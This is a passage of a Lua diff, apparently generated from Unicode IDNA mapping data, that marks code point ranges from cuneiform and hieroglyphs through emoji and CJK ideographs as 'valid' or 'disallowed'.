+ if x >= 0x12000 then
+ return {status="valid"}
+ end
+ elseif x <= 0x123FF then
+ -- NA <reserved-1239A>..<reserved-123FF>
+ if x >= 0x1239A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1246E then
+ -- CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN OLD ASSYRIAN ONE QUARTER
+ -- CUNEIFORM NUMERIC SIGN ONE QUARTER GUR..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
+ if x >= 0x12400 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1247F then
+ -- NA <reserved-12475>..<reserved-1247F>
+ if x >= 0x12475 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x12543 then
+ -- CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
+ if x >= 0x12480 then
+ return {status="valid"}
+ end
+ elseif x <= 0x12FFF then
+ -- NA <reserved-12544>..<reserved-12FFF>
+ if x >= 0x12544 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1342E then
+ -- EGYPTIAN HIEROGLYPH A001..EGYPTIAN HIEROGLYPH AA032
+ if x >= 0x13000 then
+ return {status="valid"}
+ end
+ elseif x <= 0x143FF then
+ -- NA <reserved-1342F>..<reserved-143FF>
+ if x >= 0x1342F then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x14646 then
+ -- ANATOLIAN HIEROGLYPH A001..ANATOLIAN HIEROGLYPH A530
+ if x >= 0x14400 then
+ return {status="valid"}
+ end
+ elseif x <= 0x167FF then
+ -- NA <reserved-14647>..<reserved-167FF>
+ if x >= 0x14647 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x16A38 then
+ -- BAMUM LETTER PHASE-A NGKUE MFON..BAMUM LETTER PHASE-F VUEQ
+ if x >= 0x16800 then
+ return {status="valid"}
+ end
+ elseif x <= 0x16A3F then
+ -- NA <reserved-16A39>..<reserved-16A3F>
+ if x >= 0x16A39 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x16A5E then
+ -- MRO LETTER TA..MRO LETTER TEK
+ if x >= 0x16A40 then
+ return {status="valid"}
+ end
+ elseif x <= 0x16A69 then
+ -- MRO DIGIT ZERO..MRO DIGIT NINE
+ if x >= 0x16A60 then
+ return {status="valid"}
+ end
+ elseif x <= 0x16ACF then
+ -- NA <reserved-16A70>..<reserved-16ACF>
+ if x >= 0x16A70 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x16AED then
+ -- BASSA VAH LETTER ENNI..BASSA VAH LETTER I
+ if x >= 0x16AD0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x16AFF then
+ -- NA <reserved-16AF6>..<reserved-16AFF>
+ if x >= 0x16AF6 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x16B36 then
+ -- PAHAWH HMONG VOWEL KEEB..PAHAWH HMONG MARK CIM TAUM
+ if x >= 0x16B00 then
+ return {status="valid"}
+ end
+ elseif x <= 0x16B3F then
+ -- PAHAWH HMONG SIGN VOS THOM..PAHAWH HMONG SIGN XYEEM FAIB
+ if x >= 0x16B37 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x16B4F then
+ -- NA <reserved-16B46>..<reserved-16B4F>
+ if x >= 0x16B46 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x16B59 then
+ -- PAHAWH HMONG DIGIT ZERO..PAHAWH HMONG DIGIT NINE
+ if x >= 0x16B50 then
+ return {status="valid"}
+ end
+ elseif x <= 0x16B61 then
+ -- PAHAWH HMONG NUMBER TENS..PAHAWH HMONG NUMBER TRILLIONS
+ if x >= 0x16B5B then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x16B77 then
+ -- PAHAWH HMONG SIGN VOS LUB..PAHAWH HMONG SIGN CIM NRES TOS
+ if x >= 0x16B63 then
+ return {status="valid"}
+ end
+ elseif x <= 0x16B8F then
+ -- PAHAWH HMONG CLAN SIGN TSHEEJ..PAHAWH HMONG CLAN SIGN VWJ
+ if x >= 0x16B7D then
+ return {status="valid"}
+ end
+ elseif x <= 0x16EFF then
+ -- NA <reserved-16B90>..<reserved-16EFF>
+ if x >= 0x16B90 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x16F44 then
+ -- MIAO LETTER PA..MIAO LETTER HHA
+ if x >= 0x16F00 then
+ return {status="valid"}
+ end
+ elseif x <= 0x16F4F then
+ -- NA <reserved-16F45>..<reserved-16F4F>
+ if x >= 0x16F45 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x16F7E then
+ -- MIAO LETTER NASALIZATION..MIAO VOWEL SIGN NG
+ if x >= 0x16F50 then
+ return {status="valid"}
+ end
+ elseif x <= 0x16F8E then
+ -- NA <reserved-16F7F>..<reserved-16F8E>
+ if x >= 0x16F7F then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x16F9F then
+ -- MIAO TONE RIGHT..MIAO LETTER REFORMED TONE-8
+ if x >= 0x16F8F then
+ return {status="valid"}
+ end
+ elseif x <= 0x16FDF then
+ -- NA <reserved-16FA0>..<reserved-16FDF>
+ if x >= 0x16FA0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x16FFF then
+ -- NA <reserved-16FE2>..<reserved-16FFF>
+ if x >= 0x16FE2 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x187EC then
+ -- TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
+ if x >= 0x17000 then
+ return {status="valid"}
+ end
+ elseif x <= 0x187FF then
+ -- NA <reserved-187ED>..<reserved-187FF>
+ if x >= 0x187ED then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x18AF2 then
+ -- TANGUT COMPONENT-001..TANGUT COMPONENT-755
+ if x >= 0x18800 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1AFFF then
+ -- NA <reserved-18AF3>..<reserved-1AFFF>
+ if x >= 0x18AF3 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1B11E then
+ -- KATAKANA LETTER ARCHAIC E..HIRAGANA LETTER ARCHAIC YE
+ -- HENTAIGANA LETTER A-1..HENTAIGANA LETTER N-MU-MO-2
+ if x >= 0x1B000 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1B16F then
+ -- NA <reserved-1B11F>..<reserved-1B16F>
+ if x >= 0x1B11F then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1B2FB then
+ -- NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
+ if x >= 0x1B170 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1BBFF then
+ -- NA <reserved-1B2FC>..<reserved-1BBFF>
+ if x >= 0x1B2FC then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1BC6A then
+ -- DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M
+ if x >= 0x1BC00 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1BC7C then
+ -- DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK
+ if x >= 0x1BC70 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1BC88 then
+ -- DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL
+ if x >= 0x1BC80 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1BC8F then
+ -- NA <reserved-1BC89>..<reserved-1BC8F>
+ if x >= 0x1BC89 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1BC99 then
+ -- DUPLOYAN AFFIX LOW ACUTE..DUPLOYAN AFFIX LOW ARROW
+ if x >= 0x1BC90 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1CFFF then
+ -- NA <reserved-1BCA4>..<reserved-1CFFF>
+ if x >= 0x1BCA4 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D0F5 then
+ -- BYZANTINE MUSICAL SYMBOL PSILI..BYZANTINE MUSICAL SYMBOL GORGON NEO KATO
+ if x >= 0x1D000 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D0FF then
+ -- NA <reserved-1D0F6>..<reserved-1D0FF>
+ if x >= 0x1D0F6 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D126 then
+ -- MUSICAL SYMBOL SINGLE BARLINE..MUSICAL SYMBOL DRUM CLEF-2
+ if x >= 0x1D100 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D15D then
+ -- MUSICAL SYMBOL DOUBLE SHARP..MUSICAL SYMBOL WHOLE NOTE
+ if x >= 0x1D12A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D172 then
+ -- MUSICAL SYMBOL COMBINING STEM..MUSICAL SYMBOL COMBINING FLAG-5
+ if x >= 0x1D165 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D17A then
+ -- MUSICAL SYMBOL BEGIN BEAM..MUSICAL SYMBOL END PHRASE
+ if x >= 0x1D173 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D1BA then
+ -- MUSICAL SYMBOL COMBINING ACCENT..MUSICAL SYMBOL SEMIBREVIS BLACK
+ if x >= 0x1D17B then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D1E8 then
+ -- MUSICAL SYMBOL LONGA PERFECTA REST..MUSICAL SYMBOL PES SUBPUNCTIS
+ -- MUSICAL SYMBOL KIEVAN C CLEF..MUSICAL SYMBOL KIEVAN FLAT SIGN
+ if x >= 0x1D1C1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D1FF then
+ -- NA <reserved-1D1E9>..<reserved-1D1FF>
+ if x >= 0x1D1E9 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D245 then
+ -- GREEK VOCAL NOTATION SYMBOL-1..GREEK MUSICAL LEIMMA
+ if x >= 0x1D200 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D2FF then
+ -- NA <reserved-1D246>..<reserved-1D2FF>
+ if x >= 0x1D246 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D356 then
+ -- MONOGRAM FOR EARTH..TETRAGRAM FOR FOSTERING
+ if x >= 0x1D300 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D35F then
+ -- NA <reserved-1D357>..<reserved-1D35F>
+ if x >= 0x1D357 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D371 then
+ -- COUNTING ROD UNIT DIGIT ONE..COUNTING ROD TENS DIGIT NINE
+ if x >= 0x1D360 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D3FF then
+ -- NA <reserved-1D372>..<reserved-1D3FF>
+ if x >= 0x1D372 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D9FF then
+ -- SIGNWRITING HAND-FIST INDEX..SIGNWRITING HEAD
+ if x >= 0x1D800 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1DA36 then
+ -- SIGNWRITING HEAD RIM..SIGNWRITING AIR SUCKING IN
+ if x >= 0x1DA00 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1DA6C then
+ -- SIGNWRITING MOUTH CLOSED NEUTRAL..SIGNWRITING EXCITEMENT
+ if x >= 0x1DA3B then
+ return {status="valid"}
+ end
+ elseif x <= 0x1DA74 then
+ -- SIGNWRITING SHOULDER HIP SPINE..SIGNWRITING TORSO-FLOORPLANE TWISTING
+ if x >= 0x1DA6D then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1DA83 then
+ -- SIGNWRITING LIMB COMBINATION..SIGNWRITING LOCATION DEPTH
+ if x >= 0x1DA76 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1DA8B then
+ -- SIGNWRITING LOCATION TORSO..SIGNWRITING PARENTHESIS
+ if x >= 0x1DA85 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1DA9A then
+ -- NA <reserved-1DA8C>..<reserved-1DA9A>
+ if x >= 0x1DA8C then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1DAAF then
+ -- SIGNWRITING ROTATION MODIFIER-2..SIGNWRITING ROTATION MODIFIER-16
+ if x >= 0x1DAA1 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1DFFF then
+ -- NA <reserved-1DAB0>..<reserved-1DFFF>
+ if x >= 0x1DAB0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1E006 then
+ -- COMBINING GLAGOLITIC LETTER AZU..COMBINING GLAGOLITIC LETTER ZHIVETE
+ if x >= 0x1E000 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1E018 then
+ -- COMBINING GLAGOLITIC LETTER ZEMLJA..COMBINING GLAGOLITIC LETTER HERU
+ if x >= 0x1E008 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1E021 then
+ -- COMBINING GLAGOLITIC LETTER SHTA..COMBINING GLAGOLITIC LETTER YATI
+ if x >= 0x1E01B then
+ return {status="valid"}
+ end
+ elseif x <= 0x1E7FF then
+ -- NA <reserved-1E02B>..<reserved-1E7FF>
+ if x >= 0x1E02B then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1E8C4 then
+ -- MENDE KIKAKUI SYLLABLE M001 KI..MENDE KIKAKUI SYLLABLE M060 NYON
+ if x >= 0x1E800 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1E8CF then
+ -- MENDE KIKAKUI DIGIT ONE..MENDE KIKAKUI DIGIT NINE
+ if x >= 0x1E8C7 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1E8D6 then
+ -- MENDE KIKAKUI COMBINING NUMBER TEENS..MENDE KIKAKUI COMBINING NUMBER MILLIONS
+ if x >= 0x1E8D0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1E8FF then
+ -- NA <reserved-1E8D7>..<reserved-1E8FF>
+ if x >= 0x1E8D7 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1E94A then
+ -- ADLAM SMALL LETTER ALIF..ADLAM NUKTA
+ if x >= 0x1E922 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1E959 then
+ -- ADLAM DIGIT ZERO..ADLAM DIGIT NINE
+ if x >= 0x1E950 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1EDFF then
+ -- NA <reserved-1E960>..<reserved-1EDFF>
+ if x >= 0x1E960 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1EE41 then
+ -- NA <reserved-1EE3C>..<reserved-1EE41>
+ if x >= 0x1EE3C then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1EEEF then
+ -- NA <reserved-1EEBC>..<reserved-1EEEF>
+ if x >= 0x1EEBC then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1EFFF then
+ -- NA <reserved-1EEF2>..<reserved-1EFFF>
+ if x >= 0x1EEF2 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F02B then
+ -- MAHJONG TILE EAST WIND..MAHJONG TILE BACK
+ if x >= 0x1F000 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F093 then
+ -- DOMINO TILE HORIZONTAL BACK..DOMINO TILE VERTICAL-06-06
+ if x >= 0x1F030 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F09F then
+ -- NA <reserved-1F094>..<reserved-1F09F>
+ if x >= 0x1F094 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F0AE then
+ -- PLAYING CARD BACK..PLAYING CARD KING OF SPADES
+ if x >= 0x1F0A0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F0BE then
+ -- PLAYING CARD ACE OF HEARTS..PLAYING CARD KING OF HEARTS
+ if x >= 0x1F0B1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F0CF then
+ -- PLAYING CARD ACE OF DIAMONDS..PLAYING CARD BLACK JOKER
+ if x >= 0x1F0C1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F0F5 then
+ -- PLAYING CARD ACE OF CLUBS..PLAYING CARD WHITE JOKER
+ -- PLAYING CARD FOOL..PLAYING CARD TRUMP-21
+ if x >= 0x1F0D1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F0FF then
+ -- NA <reserved-1F0F6>..<reserved-1F0FF>
+ if x >= 0x1F0F6 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F156 then
+ -- NEGATIVE CIRCLED LATIN CAPITAL LETTER A..NEGATIVE CIRCLED LATIN CAPITAL LETTER G
+ if x >= 0x1F150 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F15E then
+ -- NEGATIVE CIRCLED LATIN CAPITAL LETTER I..NEGATIVE CIRCLED LATIN CAPITAL LETTER O
+ if x >= 0x1F158 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F169 then
+ -- NEGATIVE CIRCLED LATIN CAPITAL LETTER Q..NEGATIVE CIRCLED LATIN CAPITAL LETTER Z
+ if x >= 0x1F160 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F178 then
+ -- NEGATIVE SQUARED LATIN CAPITAL LETTER A..NEGATIVE SQUARED LATIN CAPITAL LETTER I
+ if x >= 0x1F170 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F18F then
+ -- NEGATIVE SQUARED LATIN CAPITAL LETTER Q..NEGATIVE SQUARED LATIN CAPITAL LETTER Z
+ -- CROSSED NEGATIVE SQUARED LATIN CAPITAL LETTER P..NEGATIVE SQUARED SA
+ -- NEGATIVE SQUARED AB..NEGATIVE SQUARED WC
+ if x >= 0x1F180 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F1AC then
+ -- SQUARED CL..SQUARED VS
+ -- SQUARED THREE D..SQUARED VOD
+ if x >= 0x1F191 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F1E5 then
+ -- NA <reserved-1F1AD>..<reserved-1F1E5>
+ if x >= 0x1F1AD then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F1FF then
+ -- REGIONAL INDICATOR SYMBOL LETTER A..REGIONAL INDICATOR SYMBOL LETTER Z
+ if x >= 0x1F1E6 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F20F then
+ -- NA <reserved-1F203>..<reserved-1F20F>
+ if x >= 0x1F203 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F24F then
+ -- NA <reserved-1F249>..<reserved-1F24F>
+ if x >= 0x1F249 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F25F then
+ -- NA <reserved-1F252>..<reserved-1F25F>
+ if x >= 0x1F252 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F265 then
+ -- ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI
+ if x >= 0x1F260 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F2FF then
+ -- NA <reserved-1F266>..<reserved-1F2FF>
+ if x >= 0x1F266 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F335 then
+ -- CYCLONE..SHOOTING STAR
+ -- THERMOMETER..WIND BLOWING FACE
+ -- HOT DOG..BURRITO
+ -- CHESTNUT..CACTUS
+ if x >= 0x1F300 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F37C then
+ -- TULIP..BABY BOTTLE
+ if x >= 0x1F337 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F3C4 then
+ -- BOTTLE WITH POPPING CORK..POPCORN
+ -- RIBBON..GRADUATION CAP
+ -- HEART WITH TIP ON THE LEFT..ADMISSION TICKETS
+ -- CAROUSEL HORSE..SURFER
+ if x >= 0x1F37E then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F43E then
+ -- TROPHY..SWIMMER
+ -- WEIGHT LIFTER..RACING CAR
+ -- CRICKET BAT AND BALL..TABLE TENNIS PADDLE AND BALL
+ -- SNOW CAPPED MOUNTAIN..STADIUM
+ -- HOUSE BUILDING..EUROPEAN CASTLE
+ -- WHITE PENNANT..LABEL
+ -- BADMINTON RACQUET AND SHUTTLECOCK..EMOJI MODIFIER FITZPATRICK TYPE-6
+ -- RAT..PAW PRINTS
+ if x >= 0x1F3C6 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F4F7 then
+ -- EAR..CAMERA
+ if x >= 0x1F442 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F4FE then
+ -- VIDEO CAMERA..VIDEOCASSETTE
+ -- FILM PROJECTOR..PORTABLE STEREO
+ if x >= 0x1F4F9 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F579 then
+ -- TWISTED RIGHTWARDS ARROWS..DOWN-POINTING SMALL RED TRIANGLE
+ -- LOWER RIGHT SHADOWED WHITE CIRCLE..UPPER RIGHT SHADOWED WHITE CIRCLE
+ -- CIRCLED CROSS POMMEE..NOTCHED LEFT SEMICIRCLE WITH THREE DOTS
+ -- NOTCHED RIGHT SEMICIRCLE WITH THREE DOTS..DOVE OF PEACE
+ -- KAABA..BOWL OF HYGIEIA
+ -- CLOCK FACE ONE OCLOCK..CLOCK FACE TWELVE-THIRTY
+ -- RIGHT SPEAKER..JOYSTICK
+ if x >= 0x1F500 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F5A3 then
+ -- LEFT HAND TELEPHONE RECEIVER..BLACK DOWN POINTING BACKHAND INDEX
+ if x >= 0x1F57B then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F5FF then
+ -- DESKTOP COMPUTER..WORLD MAP
+ -- MOUNT FUJI..MOYAI
+ if x >= 0x1F5A5 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F610 then
+ -- GRINNING FACE WITH SMILING EYES..NEUTRAL FACE
+ if x >= 0x1F601 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F62B then
+ -- ANGRY FACE..DISAPPOINTED BUT RELIEVED FACE
+ -- FROWNING FACE WITH OPEN MOUTH..ANGUISHED FACE
+ -- FEARFUL FACE..TIRED FACE
+ if x >= 0x1F620 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F633 then
+ -- FACE WITH OPEN MOUTH..HUSHED FACE
+ -- FACE WITH OPEN MOUTH AND COLD SWEAT..FLUSHED FACE
+ if x >= 0x1F62E then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F6CF then
+ -- DIZZY FACE..WEARY CAT FACE
+ -- SLIGHTLY FROWNING FACE..SLIGHTLY SMILING FACE
+ -- UPSIDE-DOWN FACE..FACE WITH ROLLING EYES
+ -- FACE WITH NO GOOD GESTURE..PERSON WITH FOLDED HANDS
+ -- NORTH WEST POINTING LEAF..REVERSE CHECKER BOARD
+ -- ROCKET..LEFT LUGGAGE
+ -- TRIANGLE WITH ROUNDED CORNERS..BED
+ if x >= 0x1F635 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F6DF then
+ -- NA <reserved-1F6D5>..<reserved-1F6DF>
+ if x >= 0x1F6D5 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F6EC then
+ -- HAMMER AND WRENCH..AIRPLANE ARRIVING
+ if x >= 0x1F6E0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F6F8 then
+ -- SATELLITE..PASSENGER SHIP
+ -- SCOOTER..CANOE
+ -- SLED..FLYING SAUCER
+ if x >= 0x1F6F0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F6FF then
+ -- NA <reserved-1F6F9>..<reserved-1F6FF>
+ if x >= 0x1F6F9 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F773 then
+ -- ALCHEMICAL SYMBOL FOR QUINTESSENCE..ALCHEMICAL SYMBOL FOR HALF OUNCE
+ if x >= 0x1F700 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F77F then
+ -- NA <reserved-1F774>..<reserved-1F77F>
+ if x >= 0x1F774 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F7D4 then
+ -- BLACK LEFT-POINTING ISOSCELES RIGHT TRIANGLE..HEAVY TWELVE POINTED PINWHEEL STAR
+ if x >= 0x1F780 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F7FF then
+ -- NA <reserved-1F7D5>..<reserved-1F7FF>
+ if x >= 0x1F7D5 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F80B then
+ -- LEFTWARDS ARROW WITH SMALL TRIANGLE ARROWHEAD..DOWNWARDS ARROW WITH LARGE TRIANGLE ARROWHEAD
+ if x >= 0x1F800 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F847 then
+ -- LEFTWARDS ARROW WITH SMALL EQUILATERAL ARROWHEAD..DOWNWARDS HEAVY ARROW
+ if x >= 0x1F810 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F84F then
+ -- NA <reserved-1F848>..<reserved-1F84F>
+ if x >= 0x1F848 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F859 then
+ -- LEFTWARDS SANS-SERIF ARROW..UP DOWN SANS-SERIF ARROW
+ if x >= 0x1F850 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F85F then
+ -- NA <reserved-1F85A>..<reserved-1F85F>
+ if x >= 0x1F85A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F887 then
+ -- WIDE-HEADED LEFTWARDS LIGHT BARB ARROW..WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW
+ if x >= 0x1F860 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F88F then
+ -- NA <reserved-1F888>..<reserved-1F88F>
+ if x >= 0x1F888 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F8AD then
+ -- LEFTWARDS TRIANGLE ARROWHEAD..WHITE ARROW SHAFT WIDTH TWO THIRDS
+ if x >= 0x1F890 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F8FF then
+ -- NA <reserved-1F8AE>..<reserved-1F8FF>
+ if x >= 0x1F8AE then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F90B then
+ -- CIRCLED CROSS FORMEE WITH FOUR DOTS..DOWNWARD FACING NOTCHED HOOK WITH DOT
+ if x >= 0x1F900 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F91E then
+ -- ZIPPER-MOUTH FACE..SIGN OF THE HORNS
+ -- CALL ME HAND..HAND WITH INDEX AND MIDDLE FINGERS CROSSED
+ if x >= 0x1F910 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F92F then
+ -- FACE WITH COWBOY HAT..SNEEZING FACE
+ -- FACE WITH ONE EYEBROW RAISED..SHOCKED FACE WITH EXPLODING HEAD
+ if x >= 0x1F920 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F93E then
+ -- BREAST-FEEDING..PALMS UP TOGETHER
+ -- SELFIE..HANDBALL
+ if x >= 0x1F931 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F94B then
+ -- WILTED FLOWER..MARTIAL ARTS UNIFORM
+ if x >= 0x1F940 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F96B then
+ -- CROISSANT..PANCAKES
+ -- DUMPLING..CANNED FOOD
+ if x >= 0x1F950 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F97F then
+ -- NA <reserved-1F96C>..<reserved-1F97F>
+ if x >= 0x1F96C then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F997 then
+ -- CRAB..UNICORN FACE
+ -- EAGLE..SQUID
+ -- GIRAFFE FACE..CRICKET
+ if x >= 0x1F980 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F9BF then
+ -- NA <reserved-1F998>..<reserved-1F9BF>
+ if x >= 0x1F998 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F9CF then
+ -- NA <reserved-1F9C1>..<reserved-1F9CF>
+ if x >= 0x1F9C1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1F9E6 then
+ -- FACE WITH MONOCLE..SOCKS
+ if x >= 0x1F9D0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1FFFF then
+ -- NA <reserved-1F9E7>..<reserved-1FFFD>
+ -- <noncharacter-1FFFE>..<noncharacter-1FFFF>
+ if x >= 0x1F9E7 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2A6D6 then
+ -- CJK UNIFIED IDEOGRAPH-20000..CJK UNIFIED IDEOGRAPH-2A6D6
+ if x >= 0x20000 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2A6FF then
+ -- NA <reserved-2A6D7>..<reserved-2A6FF>
+ if x >= 0x2A6D7 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2B734 then
+ -- CJK UNIFIED IDEOGRAPH-2A700..CJK UNIFIED IDEOGRAPH-2B734
+ if x >= 0x2A700 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2B73F then
+ -- NA <reserved-2B735>..<reserved-2B73F>
+ if x >= 0x2B735 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2B81D then
+ -- CJK UNIFIED IDEOGRAPH-2B740..CJK UNIFIED IDEOGRAPH-2B81D
+ if x >= 0x2B740 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2CEA1 then
+ -- CJK UNIFIED IDEOGRAPH-2B820..CJK UNIFIED IDEOGRAPH-2CEA1
+ if x >= 0x2B820 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2CEAF then
+ -- NA <reserved-2CEA2>..<reserved-2CEAF>
+ if x >= 0x2CEA2 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2EBE0 then
+ -- CJK UNIFIED IDEOGRAPH-2CEB0..CJK UNIFIED IDEOGRAPH-2EBE0
+ if x >= 0x2CEB0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2F7FF then
+ -- NA <reserved-2EBE1>..<reserved-2F7FF>
+ if x >= 0x2EBE1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xDFFFF then
